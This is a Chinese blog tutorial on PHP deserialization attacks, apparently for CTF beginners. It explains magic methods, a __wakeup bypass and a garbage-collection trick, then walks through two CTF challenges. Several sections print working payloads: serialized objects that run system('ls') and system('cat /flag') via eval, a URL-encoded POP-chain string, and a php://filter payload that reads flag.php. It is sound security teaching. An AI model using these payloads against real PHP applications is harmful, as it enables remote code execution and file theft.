PHP反序列化入门

First Post:

Last Update:

Word Count:
4.8k

Read Time:
21 min

Unserialize Intro

Installation

Windows

PHP官网上下载Zip

解压安装包,将解压后的目录路径加入环境变量PATH中,安装完成后可以使用php -v来查询

Linux

Use Apache

1
2
3
4
sudo apt update
sudo apt install php libapache2-mod-php
# 安装完成后,需要重启Apache来重新加载php
sudo systemctl restart apache2

Use Nginx

不像ApacheNginx没有对处理PHP文件的内建支持。我们要使用PHP-FPM (“fastCGI process manager”)来处理PHP文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sudo apt update
sudo apt install php-fpm
# 安装完成,FPM 服务将会自动启动
# 检查服务状态
systemctl status php7.4-fpm
# 然后对Nginx进行配置
# 添加以下内容来让Nginx处理PHP文件
server {

# ...

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:q;
}
}
# 重启Nginx来使新配置生效
sudo systemctl restart nginx

除了上述的这些方法,诸如PhpStormphpstudyVSC extensions等等工具也是不错的选择

当然,也可以使用Docker

Class & Object

在学习PHP Unserialize Attack之前,首先需要对PHP本身有所了解。PHP是一种面向对象的语言,和其他面向对象的语言一样,

  • 对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。

  • 是一个共享相同结构和行为的对象的集合。

PHP中,类内的属性或方法也有privateprotectedpublic,三种访问权限

  • private:私有的 , 类内自身可访问
  • protected:受保护的 , 类内自身 , 其子类和父类可以访问
  • public:公开的 , 任何地方都可以访问

举一个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class Cargo{
public $id;
protected $price;
private $weight;

public function __construct(){
$this->id = 114;
$this->price = 514;
$this->weight = 1919810;
}
}

$cargo = new Cargo;
var_dump($cargo); // var_dump()方法是判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型
?>

// output
object(Cargo)#1 (3) {
["id"]=>
int(114)
["price":protected]=>
int(514)
["weight":"Cargo":private]=>
int(1919810)
}

What is Serialize & Unserialize?

由于传递对象十分麻烦,所以便诞生了序列化,在PHP中,我们可以使用serialize()来将一个对象转化成字符串,方便我们进行对象的传递。

举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Cargo{
public $id;
public $name;

public function __construct(){
$this->id = 114514;
$this->name = 1919810;
}
}

$cargo = new Cargo;
echo serialize($cargo);
?>

// output
O:5:"Cargo":2:{s:2:"id";i:114514;s:4:"name";i:1919810;}

我们来详细解释一下这个字符串

  • O:5:"Cargo":3O表示是一个对象,5表示类名的长度,Cargo是类名,3代表在Cargo这个类中有三个属性,而这三个属性也是后面{}之中的内容
  • {s:2:"id";i:114;s:8:"price";i:514;s:13:"Cargoweight";i:1919810;}:不同的属性之间用;隔开,s:2:"id";i:114代表这个属性名长度为2,属性名为id,而其内容是int类型的114

有序列化也同样会有反序列化,我们可以使用unserialize()来将一个字符串反序列化为一个对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Cargo{
public $id;
public $name;

public function __construct(){
$this->id = 114514;
$this->name = 1919810;
}
}

$string = 'O:5:"Cargo":2:{s:2:"id";i:114514;s:4:"name";i:1919810;}';
$obj = unserialize($string);
var_dump($obj);
?>

// output
object(Cargo)#1 (2) {
["id"]=>
int(114514)
["name"]=>
int(1919810)
}

Magic Functions

魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。

Reference Link: https://www.php.net/manual/zh/language.oop5.magic.php#object.wakeup

魔术方法一共有如下这些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__construct()	// 类的构造函数,创建对象时触发
__destruct() // 类的析构函数,对象被销毁时触发
__call() // 在对象上下文中调用不可访问的方法时触发
__callStatic() // 在静态上下文中调用不可访问的方法时触发
__get() // 读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
__set() // 在给不可访问属性赋值时触发
__isset() // 当对不可访问属性调用isset()或empty()时触发
__unset() // 在不可访问的属性上使用unset()时触发
__sleep() // 执行serialize()时,先会调用这个方法
__wakeup() // 执行unserialize()时,先会调用这个方法
__serialize() //
__unserialize() //
__toString() // 把类当作字符串使用时触发
__invoke() // 当尝试以调用函数的方式调用一个对象时触发
__set_state() // 调用var_export()导出类时,此静态方法会被调用。
__clone() // 当对象复制完成时调用
__debuginfo() // 打印调试信息

有一些注意事项:

  • 除了__construct()__destruct(),和 __clone()之外的所有魔术方法都必须 声明为public,否则会发出E_WARNING。在PHP 8.0.0之前没有为魔术方法__sleep()__wakeup()__serialize()__unserialize()__set_state()发出诊断信息。

  • __construct()__destruct()不能声明返回类型,不然会返回Fatal Error

__sleep() & __wakeup()

我们先看一下下面这个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Cargo{
private $secret;
protected $hidden;
public $name;

public function __construct(){
$this->secret = 114514;
$this->hidden = 1919810;
$this->name = "zako";
}
}

$cargo = new Cargo;
echo serialize($cargo);
?>

// output
O:5:"Cargo":3:{s:13:"Cargosecret";i:114514;s:9:"*hidden";i:1919810;s:4:"name";s:4:"zako";}

我们会发现,在序列化的过程中,类内的privateprotected属性也被序列化了,如果我们不希望某些属性在序列化时被暴露出来,就可以借用__sleep()方法

__sleep()方法是PHP中的一个魔术方法,用于在对象被序列化时触发。在__sleep()中,我们可以指定哪些属性需要被序列化,哪些属性不需要被序列化。具体来说,当调用serialize()函数将一个对象序列化时,PHP会先自动调用对象的__sleep()方法,该方法需要返回一个数组,包含需要被序列化的属性名。然后PHP会将这些属性序列化成字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Cargo{
private $secret;
protected $hidden;
public $name;

public function __construct(){
$this->secret = 114514;
$this->hidden = 1919810;
$this->name = "zako";
}

public function __sleep(){ // 在这里,我们添加__sleep(),并让它返回一个仅包含"name"的数组
return array("name");
}

}

$cargo = new Cargo;
echo serialize($cargo);
?>

// output
O:5:"Cargo":1:{s:4:"name";s:4:"zako";} // 可以看到,此时序列化之后的字符串中就不会包括我们不想暴露的"secret"和"hidden"了

显然,睡着了需要醒过来(bushi

在对字符串进行反序列化时会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源 而__wakeup() 用于在从字符串反序列化为对象时自动调用。

__wakeup() 方法的作用是对一个对象进行一些必要的初始化操作。例如,如果一个对象中包含了一些需要进行身份验证的属性,那么在从字符串反序列化为对象时,就可以在 __wakeup() 方法中进行身份验证。或者如果一个对象中包含了一些需要在每次初始化时计算的属性,也可以在 __wakeup() 方法中进行计算

__toString()

__toString()方法用于一个类被当成字符串时应怎样回应,此方法必须返回一个字符串

其实,__toString()方法被触发的情况很多

  • echo($obj), print($obj)
  • 反序列化对象与字符串拼接
  • 反序列化对象参与格式化字符串
  • 反序列化对象与字符串进行值相同(==)比较
  • 反序列化对象参与格式化SQL语句,绑定参数
  • 反序列化对象被用于字符串处理函数
    • strlen()strcmp()
    • 需要格外注意,正则判断preg_match()也会触发
  • in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串
  • 反序列化对象作为class_exists()的参数

举个例子,这次招新赛的!动启,案档蓝蔚

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Blue{
public $source;
public $str;

public function __toString(){
return $this->str->source;
}
}

class Printer{
public $content;

public function __construct($content="还想找大叔玩?<br>"){
echo "word count:".strlen($content);
$this->content=$content;
$this->print();
}
}

在这里就是通过Printer类的__construct()方法,将$content传参一个Blue类的对象,从而通过strlen()触发__toString()

__get() & __set()

读取不可访问(protected 或 private)或不存在的属性的值时,__get()会被调用。

在给不可访问(protected 或 private)或不存在的属性赋值时,__set()会被调用。

还是参照这次招新赛的!动启,案档蓝蔚

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Archive {
protected $game;

public function __get($obj){
$this->launch($this->game);
return "<br>hi<br>";
}
}

class Blue{
public $source;
public $str;
public function __construct($welcome='蔚蓝档案启动器!<br>'){
$this->source = $welcome;
echo '欢迎来到'.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
}

在这里就是通过Blue类的__toString()方法,将$this->str传参一个Archive类的对象,调用其不存在的source属性来触发__get()

Triggering Sequence

我们用下面这个简单的例子来看一下序列化与反序列化过程中,魔术方法的触发顺序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php
highlight_file(__FILE__);
class Cargo{
public $secret = "hi";
public $dump = "dump";

public function __construct()
{
echo "construct<br>";
}

public function __destruct()
{
echo "destruct<br>";
}

public function __call($name, $arguments)
{
echo "call<br>";
}

public static function __callStatic($name, $arguments)
{
echo "callStatic<br>";
}

public function __get($name)
{
echo "get<br>";
}
public function __set($name, $value)
{
echo "set<br>";
}

public function __isset($name)
{
echo "isset<br>";
}

public function unset()
{
echo "unset<br>";
}

public function __sleep()
{
echo "sleep<br>";
return array("dump");
}

public function __wakeup()
{
echo "wakeup<br>";
}

public function __toString()
{
echo "toString<br>";
return "toString";
}

public function __invoke()
{
echo "invoke<br>";
}

public static function __set_state($properties)
{
echo "set_state<br>";
}

public function __clone()
{
echo "clone<br>";
}

public function __debugInfo()
{
echo "debugInfo<br>";
}
}

echo "<br>Serialize:<br>";
$cargo = new Cargo;
$str = serialize($cargo);
echo $str;

echo "<br>Unserialize:<br>";
var_dump(unserialize($str));
?>

output:

u1

很显然,在序列化的过程中,依次触发了__construct()__sleep();而在反序列化的过程中,依次触发了__wakeup()__debugInfo()destruct()。最后多了一次destruct的输出是由于我们之前在序列化过程中创建的cargo对象在运行结束后也要进行一次析构函数的运行

Ez Bypass

对于一些简单的题目,可能只利用了某些魔术方法的漏洞,并不需要进行pop链的构造

__wakeup() Bypass

  • PHP5 <5.6.25, PHP7 < 7.0.10
  • 如果类中存在__wakeup()方法,调用unserilize()方法前则先调用__wakeup()方法,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行

__destruct() Garbage Collection

先看看这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
class Cargo{
public $secret;
public function __destruct()
{
eval($this->secret);
}
}

if(isset($_GET['str'])){
$a=unserialize($_GET['str']);
throw new Error("zako");
}
?>

当我们构造序列化字符串O:5:"Cargo":1:{s:6:"secret";s:13:"system('ls');";}并传参时,就会得到以下结果

u2

这是由于__destruct()是当某个对象成为垃圾或者当对象被显式销毁时执行

显式销毁,当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL
隐式销毁,PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉

在常规思路中__destruct()是隐式销毁触发的,所以我们要强行使用GC (Garbage Collection)

What is Garbage Collection?

垃圾回收,就是把内存中不需要使用的量给清除掉,收回它所占用的空间。

  • 旧的GC,在PHP5.3版本之前,使用的垃圾回收机制是单纯的“引用计数”。
    • 每个内存对象都分配一个计数器,当内存对象被变量引用时,计数器+1
    • 当变量引用撤掉后,即执行unset()后,计数器-1
    • 当计数器=0时,表明内存对象没有被使用,该内存对象则进行销毁,垃圾回收完成

这个时候就出现了问题,我自己引用我自己,自身一个,自己又被引用,所以计数器是2,但我将它销毁,才减1,此时明明已销毁,但还是1,所以无法进行回收,产生了内存泄漏。

  • 新的GC

每个PHP变量存在一个叫zval的变量容器中。一个zval变量容器,除了包含变量的类型和值,还包括两个字节的额外信息。

第一个是is_ref,是个布尔值,用来标识这个变量是否是属于引用集合。通过这个字节,PHP引擎才能把普通变量和引用变量区分开来,由于PHP允许用户通过使用&来使用自定义引用,zval变量容器中还有一个内部引用计数机制,来优化内存使用。

第二个额外字节是refcount,用以表示指向这个zval变量容器的变量个数。所有的符号存在一个符号表中,其中每个符号都有作用域。

Bypass

再回到刚刚那个例子,我们假如要执行__destruct方法,调用eval(),就得绕过这个throw new Error。因为__destruct方法是在该对象被回收时调用,而抛出错误会中断该进程对该对象的销毁。所以我们需要强制让GC去回收这个对象,方法就是反序列化一个数组,然后再利用第一个索引,来触发GC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Cargo{
public $secret;

public function __construct()
{
$this->secret = 'system("ls")';
}
}

$str = serialize(array(new Cargo, new Cargo));
echo $str;
?>

// output
a:2:{i:0;O:5:"Cargo":1:{s:6:"secret";s:12:"system("ls")";}i:1;O:5:"Cargo":1:{s:6:"secret";s:12:"system("ls")";}}

我们利用第一个索引,所以将后面改为第一个元素索引即可,也可以多加几个来进行触发。

Payload: a:2:{i:0;O:5:"Cargo":1:{S:6:"secret";s:13:"system('ls');";}i:0;i:0};}

u3

POP

像上面的反序列化攻击更多的是魔术方法中出现一些利用的漏洞,如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来

!动启,案档蓝蔚

回顾一下招新赛的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
error_reporting(0);
highlight_file(__FILE__);

class Archive {
protected $game;
public function __construct($game="总力战"){
$this->game=$game;
echo "快去打".$game."<br>";
}
public function launch($what){
echo $what."启动!<br>";
eval($what);
}
public function __get($obj){
$this->launch($this->game);
return "<br>hi<br>";
}
}

class Blue{
public $source;
public $str;
public function __construct($welcome='蔚蓝档案启动器!<br>'){
$this->source = $welcome;
echo '欢迎来到'.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
}

class Printer{
public $content;
public function __construct($content="还想找大叔玩?<br>"){
echo "word count:".strlen($content);
$this->content=$content;
$this->print();
}
public function __destruct(){
echo "word count:".strlen($content)."<br>";
$this->print();
}
public function print(){
echo $this->content."<br>";
}
}

$what=new Blue();
$is=new Printer();
$it=new Archive();

if(isset($_POST['ba'])){
unserialize($_POST['ba']);
}
else{
die("走错了捏<br>");
}

首先扫一遍发现了利用点在Archive 类的launch()方法中的eval($what)

eval() 函数把字符串按照 PHP 代码来计算。

继续观察,launch()方法在__get()方法中被调用

魔术方法__get()用于从不可访问的属性读取数据或者不存在这个键都会调用此方法

观察发现可能是在Blue类中的__toString()方法,它返回了$this->str->source,那么我们就可以构造str为一个Archive对象,通过调用Archive中不存在的$source来成功调用__get()方法

魔术方法__toString()在把类当作字符串使用时触发

再次观察,在Printer类的__construct()方法中,它会将对象初始化时的传参$contentstrlen()方法中被当做字符串调用,那么就可以成功调用__toString()方法

构造payload

1
2
3
4
5
6
7
8
9
// $c = new Archive("system('ls /');"); 
$c = new Archive("system('cat /flag');");
$b = new Blue();
$b -> str = $c;
$a = new Printer();
$a -> content = $b;
echo urlencode(serialize($a));

// payload: O%3A7%3A%22Printer%22%3A1%3A%7Bs%3A7%3A%22content%22%3BO%3A4%3A%22Blue%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A28%3A%22%E8%94%9A%E8%93%9D%E6%A1%A3%E6%A1%88%E5%90%AF%E5%8A%A8%E5%99%A8%EF%BC%81%3Cbr%3E%22%3Bs%3A3%3A%22str%22%3BO%3A7%3A%22Archive%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00game%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D%7D%7D

AreUSerialz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
include("flag.php");
highlight_file(__FILE__);

class FileHandler {
protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}

先从正向看,首先先用GET获取了str,并将其转换成字符串,再对其进行is_valid()检查,通过后对其进行反序列化

  • is_valid()
1
2
3
4
5
6
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

对传入的字符串每一位进行检查,要求每一位的ASCII值必须介于32与125之间,即所有可见字符(除了~

  • __destruct()

根据上面我们做的Triggering Sequence测试,可以知道在这里会先触发__destruct()方法

1
2
3
4
5
6
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

如果op === “2”,那么op会被赋值为“1”,然后content会赋值为空,并执行process()`方法,这里的判断用的是强类型比较

  • process()
1
2
3
4
5
6
7
8
9
10
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

如果op == “1”,执行write()函数;如果op ==“2”,执行read函数,同时将结果赋值给$res,然后输出;否则将输出"Bad Hacker!"。这里的判断用的是弱类型比较

  • read()
1
2
3
4
5
6
7
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

read()方法中,使用filename调用file_get_contents()方法将文件内容赋值给$res返回。对于filename,我们可以用filter伪协议读取文件,再使用output()方法输出。

但是这里的filenameprotected类型的,在对其进行序列化时会出现以下情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;
}

$f = new FileHandler();
echo serialize($f)."\n";
echo urlencode(serialize($f));

// output
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";N;}
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D%

protected类型的属性前面,会出现\x00,而其显然不是可见字符,无法通过is_valid()方法

我们查询一下环境的PHP版本:

u4

在高版本的PHP中,其对属性类型不敏感,所以我们可以直接将其改成public类型

payload: ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

这样就会输出flag.phpBase64编码之后的内容,解码之后就能得到flag

HomeWork

  • 复现!动启,案档蓝蔚AreUSerialz

  • 解出ez_yii(主站上有)

reward
Alipay
Wechat